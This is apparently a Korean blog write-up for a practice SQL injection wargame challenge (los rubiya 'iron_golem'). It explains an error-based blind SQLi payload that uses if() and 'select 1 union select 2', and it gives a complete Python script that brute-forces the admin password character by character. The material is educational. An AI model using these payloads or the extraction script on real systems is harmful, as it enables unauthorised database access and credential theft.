안녕하세요 오늘은 한 문제만 풀고 끝내겠습니다.
sleep을 막았고 benchmark 함수는 sleep 함수와 같은 역할 한다고 합니다.
더군다나 Hello admin 이라던가 Hello guest가 안 나와서 참 거짓 판별하기 어려울 것 같습니다.
그리고 admin의 pw을 찾아야만 이 문제가 해결이 되네요. 이번엔 쉬운 거 같네요
blind sqli 인젝션을 이용하면 될거 같습니다. ascii와 substring으로 한 글자 한 글자 찾으면 되겠죠!
이렇게 풀어도 되구요 근데 ' 을 입력해 보겠습니다.
에러문이 나오네요! SQL의 실행했는데 문법이 오류가 나면 그 오류문이 나오게 되어있습니다.
Error based SQLi 공격이 통하겠네요
만약 모르신다면
https://mynameisarke.tistory.com/25
[노말틱 모의 해킹 취업반 4주차 해킹과제] Error Based SQLi, SQL Injection
안녕하세요! 이번에도 SQL Injection을 공부할 건데요 오늘은 SQL 질의문이 화면에 보이는 곳을 공격하는 연습할 겁니다! 예를 들자면 게시판도 있고 회원 정보(마이페이지), 주소검색 등등 있죠 저
mynameisarke.tistory.com
여기 참고하시면 돼요
그런데 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 여기서 . 이랑 _ 을 막아서 아무래도 이 공격을 하기엔 힘들 거 같습니다. 그래서 다른 방법으로 공격하려고 합니다.
if절을 이용하는 것이죠. SQL 문에서 if을 사용하는 문법은 if(조건문, 참인 경우, 거짓인 경우) 이렇게 사용합니다.
예를 들어볼게요 if(1=1, 0, 1) 이러면 1=1 이 참이면 0을 출력하고 아니면 1을 출력하게 됩니다.
그러니 참이면 문법이 맞게 하면 되고 거짓이면 문법이 틀리게 하면 참과 거짓이 판별되겠죠?
그러니 select 1 union select 2 을 이용하겠습니다.
select 1 union select 2 을 하게 되면 SQL에서는 정상 문법이니깐 출력이 되는데 2줄로 나오게 되어서 에러가 나게 됩니다.
하나의 값만 얻을 수 있으니깐요. 그래서 Error문에 2줄 이상 있어요라고 알려 줍니다.
예시는 pw의 길이 값 구하면서 알려드릴게요
' OR (id='admin' AND if(length(pw)>0, 1, (select 1 union select 2))) %23
이렇게 id가 admin 일때 pw의 길이가 0보다 크면 1을 출력 아니면 select 1 union select 2 실행하게 하겠습니다.
길이값을 변경하면서 쭉쭉쭉하시다 보면 32에서 에러문이 나옵니다.
1줄 이상 있다. 즉 select 1 이란 select 2 때문에 1이랑 2가 출력이 돼야 되는데 하나밖에 출력을 못하니
이렇게 에러문이 나오게 됩니다.
이렇게 해서 pw의 길이가 32줄 이라는 것을 알 수가 있죠.
그럼 이제 파이썬 코드로 넘어가서 일일이 대입하게 만들겠습니다.
공격용 쿼리문은
' OR (id='admin' AND if(ascii(substring({},{},1))={}, 1, (select 1 union select 2)))#
이렇게 하면 되겠죠!
그리고 거짓일 때 에러문이 나오니 row 단어를 참 거짓 식별로 하겠습니다. 없을 때 참이니 not in을 쓰면 되겠죠
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=irpn27e63or5bdngpo3rbuse04"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")
index_value = "row" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1
value = ""
for j in range(32) :
for i in range(32, 127) : #공백부터 ~까지 대입
data = {
"pw": blind_query.format(query, s, i)
}
response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기
if index_value not in response.text :
value += chr(i)
s+=1
print(value) #잘되나 확인용
return value
blind_query = "' OR (id='admin' AND if(ascii(substring({},{},1))={}, 1, (select 1 union select 2)))#" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작
실행하겠습니다. pw을 입력하시면 돼요
오래 걸리겠네요..
이진 탐색을 쓰고 싶으나 preg_match 때문에 중간에 오류가 날 수 있어서 그냥 일일이 대입하고 비교하게 했습니다.
쿠키 값은 자신의 쿠키 값으로 넣어야 되는 거 아시죠? 공격 링크도 수정하는 걸 까먹지 말아요!
'워게임' 카테고리의 다른 글
los rubiya - 23(hell_fire) 풀이 (0) | 2023.05.24 |
---|---|
los rubiya - 22(dark_eyes) 풀이 (0) | 2023.05.23 |
los rubyia - 19번 20번 풀이 (0) | 2023.05.16 |
los rubiya -17,18풀이 (0) | 2023.05.15 |
los rubiya -14,15,16 풀이 (0) | 2023.05.14 |